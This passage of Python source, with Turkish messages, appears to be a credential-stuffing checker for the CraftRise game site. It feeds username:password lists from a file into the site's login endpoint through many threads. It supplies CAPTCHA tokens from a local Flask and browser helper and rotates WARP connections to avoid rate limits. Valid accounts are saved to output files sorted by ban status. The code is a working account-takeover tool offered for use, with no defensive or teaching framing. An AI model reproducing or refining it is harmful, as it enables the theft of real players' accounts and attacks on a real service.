s.post("https://www.craftrise.com.tr/posts/post-login.php", headers={ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Referer": "https://www.craftrise.com.tr/", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Origin": "https://www.craftrise.com.tr" }, data={"value": username, "password": password, "grecaptcharesponse": token}, timeout=15) try: res_json = login_response.json() if res_json.get("resultType") == "error" or "success" not in str(res_json.get("resultType", "")).lower(): hata_mesaji = res_json.get("resultMessage", "Bilinmeyen hata") with istatistik_lock: sayac_basarisiz += 1 taranan_hesap_sayisi += 1 log_ekle(Fore.YELLOW + f"[{idx}] {username} → Giriş Başarısız: {hata_mesaji}") ekran_yenile() return except: if "success" not in login_response.text.lower(): with istatistik_lock: sayac_basarisiz += 1 taranan_hesap_sayisi += 1 log_ekle(Fore.YELLOW + f"[{idx}] {username} → Giriş Başarısız") ekran_yenile() return # Ban kontrolü ban_durumu = ban_kontrol_et(s, username, idx) with istatistik_lock: taranan_hesap_sayisi += 1 if ban_durumu == "BANLI": sayac_banli += 1 hedef_log = Fore.RED + f"[{idx}] {username} → BANLI HESAP!" else: sayac_bansiz += 1 hedef_log = Fore.GREEN + f"[{idx}] {username} → BANSIZ" log_ekle(hedef_log) hedef_dosya = DOSYA_BANLI if ban_durumu == "BANLI" else DOSYA_BANSIZ satir = f"{username}:{password} | {ban_durumu}\n" guvenli_yaz(hedef_dosya, satir) ekran_yenile() except Exception as e: with istatistik_lock: sayac_hata += 1 taranan_hesap_sayisi += 1 log_ekle(Fore.MAGENTA + f"[{idx}] {username} → Hata: {str(e)}") guvenli_yaz(DOSYA_HATALI, f"{username}:{password} | Hata: {str(e)}\n") ekran_yenile() def get_token(session): with token_lock: try: r = session.get("http://127.0.0.1:5001/get-token", timeout=10) token = r.json().get("token") if not token: raise ValueError("Token boş") return token except Exception as e: raise RuntimeError(f"Token hatası: {e}") def main(): global DOSYA_BANSIZ, DOSYA_BANLI, DOSYA_HATALI, toplam_hesap_sayisi girdileri_al() if not os.path.exists(dosya_yolu): print(f"Hata: '{dosya_yolu}' dosyası bulunamadı!") input("\nEnter'a bas...") return def run_flask(): import logging l0g = logging.getLogger('werkzeug') l0g.setLevel(logging.ERROR) app.run(host='0.0.0.0', port=5001, threaded=True, debug=False, use_reloader=False) flask_thread = threading.Thread(target=run_flask, daemon=True) flask_thread.start() time.sleep(2) if not initialize_page(): print("Tarayıcı başlatılamadı.") input("\nEnter'a bas...") return with open(dosya_yolu, "r", encoding="utf-8") as f: accounts = [line.strip() for line in f if ":" in line and line.strip()] if not accounts: print("Geçerli hesap bulunamadı!") input("\nEnter'a bas...") return toplam_hesap_sayisi = len(accounts) DOSYA_BANSIZ = guvenli_dosya_olustur(DOSYA_BANSIZ) DOSYA_BANLI = guvenli_dosya_olustur(DOSYA_BANLI) DOSYA_HATALI = guvenli_dosya_olustur(DOSYA_HATALI) batch_size = THREAD_COUNT hesap_sayaci = 0 ekran_yenile() for i in range(0, len(accounts), batch_size): if hesap_sayaci == 0 or hesap_sayaci >= WARP_COUNT: warp_degistir(baglan=True) hesap_sayaci = 0 batch = accounts[i:i+batch_size] threads = [] log_ekle(Fore.CYAN + f">>> Yeni {len(batch)} hesaplık grup başlatılıyor...") for idx_offset, line in enumerate(batch): idx = i + idx_offset + 1 username, password = line.split(":", 1) t = threading.Thread(target=cek_cookie_ve_bilgi, args=(username, password, idx)) threads.append(t) t.start() time.sleep(0.4) for t in threads: t.join() hesap_sayaci += len(batch) if hesap_sayaci >= WARP_COUNT: warp_degistir(baglan=False) time.sleep(4) log_ekle(Fore.GREEN + "Tüm hesaplar tarandı!") ekran_yenile() input("\nÇıkmak için Enter'a bas...") if __name__ == "__main__": try: main() except Exception as ana_hata: print(f"\n[KRİTİK HATA]: {ana_hata}") import traceback traceback.print_exc() input("\nEnter'a bas...") finally: if 'page' in globals() and page is not None: try: page.quit() except: pass